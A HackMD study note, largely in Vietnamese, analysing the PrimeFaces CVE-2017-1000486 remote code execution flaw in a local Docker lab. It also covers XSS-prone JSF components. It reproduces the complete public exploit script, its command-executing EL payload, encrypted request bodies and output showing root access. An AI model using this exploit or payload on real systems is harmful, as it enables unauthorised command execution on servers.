cuongnh
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # CVE-2017-1000486 primefaces Primefaces <= 5.2.21, 5.3.8 or 6.0 - Remote Code Execution Exploit ## Download ``` git clone https://github.com/pimps/CVE-2017-1000486.git cd CVE-2017-1000486/ docker build . -t primefaces docker run -p 8090:8080 -t primefaces ``` ![image](https://hackmd.io/_uploads/rJzauv62xl.png) ## Phân tích - http://192.168.1.72:8090/ ![image](https://hackmd.io/_uploads/B1wEKPa2el.png) ![image](https://hackmd.io/_uploads/BkKjKDThxx.png) Primefaces -> 5.2 - `POST /ui/ajax/basic.xhtml` ![image](https://hackmd.io/_uploads/rk4-aDa3le.png) ![image](https://hackmd.io/_uploads/r1nGTPpngl.png) ```java package org.primefaces.showcase.view.ajax; import javax.faces.bean.ManagedBean; @ManagedBean public class BasicView { private String text; public String getText() { return text; } public void setText(String text) { this.text = text; } } ``` - `POST /ui/input/editor.xhtm` Editor bị XSS ![image](https://hackmd.io/_uploads/rJmvru63lg.png) ```java package org.primefaces.showcase.view.input; import javax.faces.bean.ManagedBean; @ManagedBean public class EditorView { private String text; public String getText() { return text; } public void setText(String text) { this.text = text; ``` ![image](https://hackmd.io/_uploads/rys34ua3el.png) ![image](https://hackmd.io/_uploads/S1eBQBdThgx.png) ![image](https://hackmd.io/_uploads/HyM4BdTnlx.png) ![image](https://hackmd.io/_uploads/H1FErdThxx.png) ``` <h:form> <p:editor id="editor" widgetVar="editorWidget" value="#{editorView.text}" width="600" /> <p:commandButton value="Submit" update="display" oncomplete="PF('dlg').show()" /> <p:dialog header="Content" widgetVar="dlg"> <h:outputText id="display" value="#{editorView.text}" escape="false" /> </p:dialog> </h:form> ``` 1. có <p:editor> + escape="false" ``` <h:outputText value="#{editorView.text}" escape="false" /> ``` nghĩa là JSF sẽ render trực tiếp HTML từ editorView.text mà không encode ký tự đặc biệt (<, >…). thì script sẽ chạy → Stored XSS (nếu lưu DB) hoặc Reflected XSS (nếu chỉ giữ trong scope). 👉 Nguyên nhân XSS: chính là escape="false". 2. chỉ <p:inputText> + mặc định escape ```java <h:form> <p:inputText id="name" value="#{basicView.text}" /> <p:commandButton value="Submit" update="display" /> <h:outputText id="display" value="#{basicView.text}" /> </h:form> ``` Ở đây, đầu vào là text thuần (<p:inputText>). Khi hiển thị lại bằng <h:outputText>, mặc định escape="true". JSF sẽ tự encode ký tự đặc biệt: - < → ``&lt;`` - ```>``` → ``&gt;`` - " → ``&quot;`` 👉 Không bị XSS vì có auto-escape. - `POST /ui/misc/terminal.xhtml` ``` <h:form> <p:focus for="terminal" /> <p:terminal id="terminal" widgetVar="term" commandHandler="#{terminalView.handleCommand}" welcomeMessage="Welcome to PrimeFaces Terminal, how are you today?" /> <p:commandButton type="button" value="Clear" icon="ui-icon-trash" onclick="PF('term').clear()" style="margin-top:10px"/> </h:form> ``` Cơ chế của <p:terminal> <p:terminal> mô phỏng một cửa sổ console trên web. Người dùng nhập lệnh → gọi tới commandHandler="#{terminalView.handleCommand}". Hàm Java trả về chuỗi String, và PrimeFaces sẽ in trực tiếp chuỗi đó vào UI terminal. Nhưng mặc định, terminal không escape HTML → tức là nó render raw HTML. ![image](https://hackmd.io/_uploads/BkYASbC3gg.png) ![image](https://hackmd.io/_uploads/Syg1UZCnee.png) Chuẩn câu hỏi hay 👍. Ở JSF + PrimeFaces, không phải tất cả component đều an toàn như `<h:outputText escape="true">`. Một số component **render thẳng raw HTML/JS** nên dễ dính **XSS** nếu developer không escape hoặc sanitize dữ liệu. --- ## 🔥 Các component dễ bị XSS trong JSF/PrimeFaces ### 1. **JSF core** * `<h:outputText escape="false">` → in HTML raw. * `<h:outputFormat>` → nếu dùng `escape="false"` hoặc format chuỗi từ input user. * `<f:verbatim>` → nhúng raw HTML trực tiếp (rất nguy hiểm). --- ### 2. **PrimeFaces** * `<p:editor>` → rich text, mặc định render HTML, thường bị XSS nếu không sanitize. * `<p:terminal>` → như Cường vừa thấy, in raw string từ backend. * `<p:outputPanel escape="false">` → tương tự `<h:outputText escape="false">`. * `<p:outputLabel escape="false">` → cũng cho HTML raw. * `<p:tooltip>` → nếu binding nội dung động từ user input mà không escape. * `<p:messages>` / `<p:message>` → nếu custom message lấy trực tiếp input user (ví dụ `FacesMessage` chứa chuỗi nguy hiểm). * `<p:growl>` → tương tự `<p:messages>`, hiển thị raw content nếu không escape. * `<p:dataTable>` + `escape="false"` trên `<p:column>` → XSS khi hiển thị dữ liệu. * `<p:commandButton>` / `<p:link>` với `value="#{...}"` nếu escape bị tắt. * `<p:graphicImage value="#{bean.url}" />` → nếu không validate URL (có thể bị **XSS qua `javascript:` scheme**). * `<p:remoteCommand>` → binding JS trực tiếp, nếu chèn được payload thì thực thi JS. --- ### 3. **Trường hợp đặc biệt** * **Converter / Validator messages** → nếu thông báo lỗi lấy từ input user mà không escape. * **Custom component** → nhiều dev tự viết component render HTML raw, nếu binding data từ bean không escape → XSS. --- ## ✅ Nguyên tắc an toàn * **Escape mặc định**: luôn dùng escape (trừ khi thật sự cần HTML). * Nếu cần HTML: **sanitize** với thư viện như * [OWASP Java HTML Sanitizer](https://github.com/OWASP/java-html-sanitizer) * Apache Commons Text `StringEscapeUtils.escapeHtml4()` (nếu chỉ cần encode). * Kiểm tra các chỗ có `escape="false"` hoặc component **rich text output** → đây là "điểm nóng" XSS. --- 👉 Nói ngắn gọn: **mọi component hiển thị text có tùy chọn `escape="false"` hoặc render raw HTML** (editor, terminal, outputPanel, messages, growl, tooltip, datatable column, graphicImage, link/button với value động) đều có thể bị XSS. --- ## RCE trong các plugin nguồn mở của Oracle NetBeans: PrimeFaces 5.x Expression Language Injection - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html PrimeFaces là thư viện thành phần Giao diện người dùng (UI) nguồn mở dành cho các ứng dụng dựa trên JavaServer Faces (JSF). Kể từ khi phát hành, PrimeFaces đã được Oracle hỗ trợ mạnh mẽ, đặc biệt là trong thế giới NetBeans . Các vấn đề bảo mật là các lỗ hổng mật mã cho phép người dùng chưa xác thực chèn mã Ngôn ngữ Biểu thức tùy ý vào trình phân tích cú pháp EL tùy chỉnh của PrimeFaces. Cả hai vấn đề đều có cùng một mục đích: đánh giá biểu thức EL . - Hai vấn đề mật mã này được gọi là " PrimeSecret " và " PrimeOracle ". 1) PrimeSecret là cụm mật khẩu được hardcode mặc định của PrimeFaces để mã hóa một số tham số như "pfdrid" (bởi Stefano Di Paola). 2) PrimeOracle là việc lạm dụng tấn công Padding Oracle vào thuật toán mật mã nội bộ giải mã một số tham số như "pfdrid" (bởi Giorgio Fedon). Lỗ hổng bảo mật phổ biến nhất cho cả hai vấn đề bảo mật là PrimeFaces Streamed Content Handler thực thi EL nội tuyến: ## Khai thác RCE ``` PS D:\BlueCyber\learn_more\CVE-2017-1000486_primefaces\CVE-2017-1000486> python primefaces.py -h ======================================================================== | CVE-2017-1000486 - Primefaces Remote Code Execution Exploit | | by pimps | ======================================================================== usage: primefaces.py [-h] [-pw PASSWORD] [-pt PATH] [-c CMD] [-poc] [-px PROXY] [-ck COOKIE] [-o ORACLE] [-pl PAYLOAD] target positional arguments: target Target Host options: -h, --help show this help message and exit -pw PASSWORD, --password PASSWORD Primefaces Password (Default = primefaces -pt PATH, --path PATH Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml) -c CMD, --cmd CMD Command to execute. (Default = whoami) -poc, --poc Use Poc Payload -px PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (Default = None) -ck COOKIE, --cookie COOKIE Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None) -o ORACLE, --oracle ORACLE Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW) -pl PAYLOAD, --payload PAYLOAD EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) This script exploits an expression language remote code execution flaw in the Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt. ``` ``` PS D:\BlueCyber\learn_more\CVE-2017-1000486_primefaces\CVE-2017-1000486> python primefaces.py http://127.0.0.1:8090/ ======================================================================== | CVE-2017-1000486 - Primefaces Remote Code Execution Exploit | | by pimps | ======================================================================== [*] Generating payload using default Password... [*] Generated Encrypted Payload: 4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel/v4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS+3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY+1ZQ/nOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5++TqeD4BGqCZMDjP+ZQvveiUhxsUC/+tPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ+x3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm/7xYP/UwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW+hZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise+bYIYzUDkUtdRV+jCGNI9kbPG5QPhAqp/JBhQ+XsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm/EWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw+xBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q/Eba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R+A2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1+DW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB+czxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH+3eIqRZdkimo980HBzVW4SXHnCMST65/TaIcy6/OXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc+VhgT97imje/KWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV/35yQ+O8DLt0b+jqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k/GdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv+P7wIJbP0i4+QF+PXw5ePKwSwQ9v8rTQ== [*] Attempting to execute: whoami POST http://127.0.0.1:8090//javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Cookie: Content-Length: 1643 Content-Type: application/x-www-form-urlencoded pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami [+] Exploit Result: HTTP/1.1 200 Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=7F3AEBDF433799929CA6062A99A384AC; Path=/; HttpOnly Transfer-Encoding: chunked Date: Sat, 04 Oct 2025 03:49:44 GMT root ``` ![image](https://hackmd.io/_uploads/HkpHjf0nlx.png) ![image](https://hackmd.io/_uploads/SJawsf0nex.png) ![image](https://hackmd.io/_uploads/B13OjMA3gx.png) ```http POST /javax.faces.resource/primefaces-mobile.js.xhtml HTTP/1.1 Host: 192.168.1.72:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 1639 pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=id ``` ``` python primefaces.py http://127.0.0.1:8090/ --proxy http://127.0.0.1:8080 ``` ![image](https://hackmd.io/_uploads/BkFskm03xx.png) ```python from paddingoracle import BadPaddingException, PaddingOracle import requests from Crypto.Hash import MD5 from Crypto.Cipher import DES import base64 import socket import time import logging import argparse class PadBuster(PaddingOracle): def __init__(self, **kwargs): super(PadBuster, self).__init__(**kwargs) self.session = requests.Session() requests.packages.urllib3.disable_warnings() self.wait = kwargs.get('wait', 2.0) def oracle(self, data, **kwargs): payload = base64.b64encode(data) while 1: try: post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload} response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers) break except (socket.error, requests.exceptions.RequestException): logging.exception('Retrying request in %.2f seconds...', self.wait) time.sleep(self.wait) continue self.history.append(response) # An HTTP 500 error was returned, likely due to incorrect padding if response.status_code == 500: logging.exception('No padding exception raised on %r', payload) return raise BadPaddingException payloadEL = '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}' payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}' payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}' payloadEL += '${session.getAttribute("scriptengine").eval(' payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");' payloadEL += 'var proc = null;' payloadEL += 'os.toLowerCase().contains(\\"win\\")? ' payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()' payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();' payloadEL += 'var is = proc.getInputStream();' payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";' payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}' payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}' payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}'; payloadELPOC = '${facesContext.getExternalContext().setResponseHeader("TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC","POC_EL_INJECTION")}' def get_args(): parser = argparse.ArgumentParser( prog="primefaces.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= ''' This script exploits an expression language remote code execution flaw in the Primefaces JSF framework. Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt. ''') parser.add_argument("target", help="Target Host") parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces") parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)") parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)") parser.add_argument("-poc", "--poc", action='store_true', help="Use Poc Payload") parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)") parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)") parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)") parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ") args = parser.parse_args() return args """Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces""" def encrypt(data, password): # Padding clear-text using PKCS5 algo padding = 8 - len(data) % 8 data += chr(padding) * padding # IV and "iterations count" extracted from primefaces sourcecode iterations = 19 iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03' hasher = MD5.new() hasher.update(password.encode()) hasher.update(iv) result = hasher.digest() for i in range(1, iterations): hasher = MD5.new() hasher.update(result) result = hasher.digest() cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16]) # BUGFIX: adding .encode() on string to pass a bytearray. # This modification is needed to work with latest version of pycryptodome encrypted = cipher.encrypt(data.encode()) print ("[*] Generated Encrypted Payload: " + str(base64.b64encode(encrypted).decode())) return str(base64.b64encode(encrypted).decode()) def request_to_string(req): return '{method} {url} HTTP/1.1\n{headers}\n\n{body}'.format( method=req.method, url=req.url, headers='\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), body=req.body, ) def response_to_string(res): return 'HTTP/1.1 {status_code}\n{headers}\n\n{body}'.format( status_code=res.status_code, headers='\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), body=res.content.decode(), ) def exploit(target, path, cmd, password, proxy, cookie, payload="", poc_payload=False): requests.packages.urllib3.disable_warnings() proxies = { 'http': proxy, 'https': proxy } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*', 'Cookie': cookie } if payload == "": if poc_payload: payload = encrypt(payloadELPOC, password) else: payload = encrypt(payloadEL, password) post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd} print ("[*] Attempting to execute: %s" % cmd) r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers) print ("\n\n%s\n\n" % request_to_string(r.request)) if r.text: print ("[+] Exploit Result:\n\n%s\n" % response_to_string(r)) if (poc_payload): if "TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC" in response_to_string(r): print ("[+] BANG!!! :D - Target IS VULNERABLE!!!\n") else: print ("[-] Target Probably NOT VULNERABLE :-(\n") else: print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.\n\n%s" % response_to_string(r)) def exploit_paddingoracle(target, path, cmd, password, proxy, cookie): padbuster = PadBuster() padbuster.proxies = { 'http': proxy, 'https': proxy } padbuster.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Accept': '*/*', 'Cookie': cookie } padbuster.target = target+path iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03' payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv) print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload)) requests.packages.urllib3.disable_warnings() proxies = {'http': proxy, 'https': proxy} post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd} print ("[*] Attempting to execute: %s" % cmd) r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers) print(r.headers) if r.text: print ("[+] Exploit Result:\n\n%s" % response_to_string(r)) else: print ("[-] Response body empty... Target might not be vulnerable... :-(\n\n%s" % response_to_string(r)) def main(): print ('') print ('========================================================================') print ('| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |') print ('| by pimps |') print ('========================================================================\n') args = get_args() if (args.oracle.strip() == "0"): if (args.payload.strip() == ""): print ("[*] Generating payload using default Password...") else: print ("[*] Executing the exploit using a given Payload...") exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip(), args.poc) else: print ("[*] Generating payload with Padding Oracle Attack... (SLOW)") exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip()) if __name__ == '__main__': main() ``` Tốt — đoạn script này là **một exploit** (và tiện ích hỗ trợ) cho **CVE-2017-1000486** 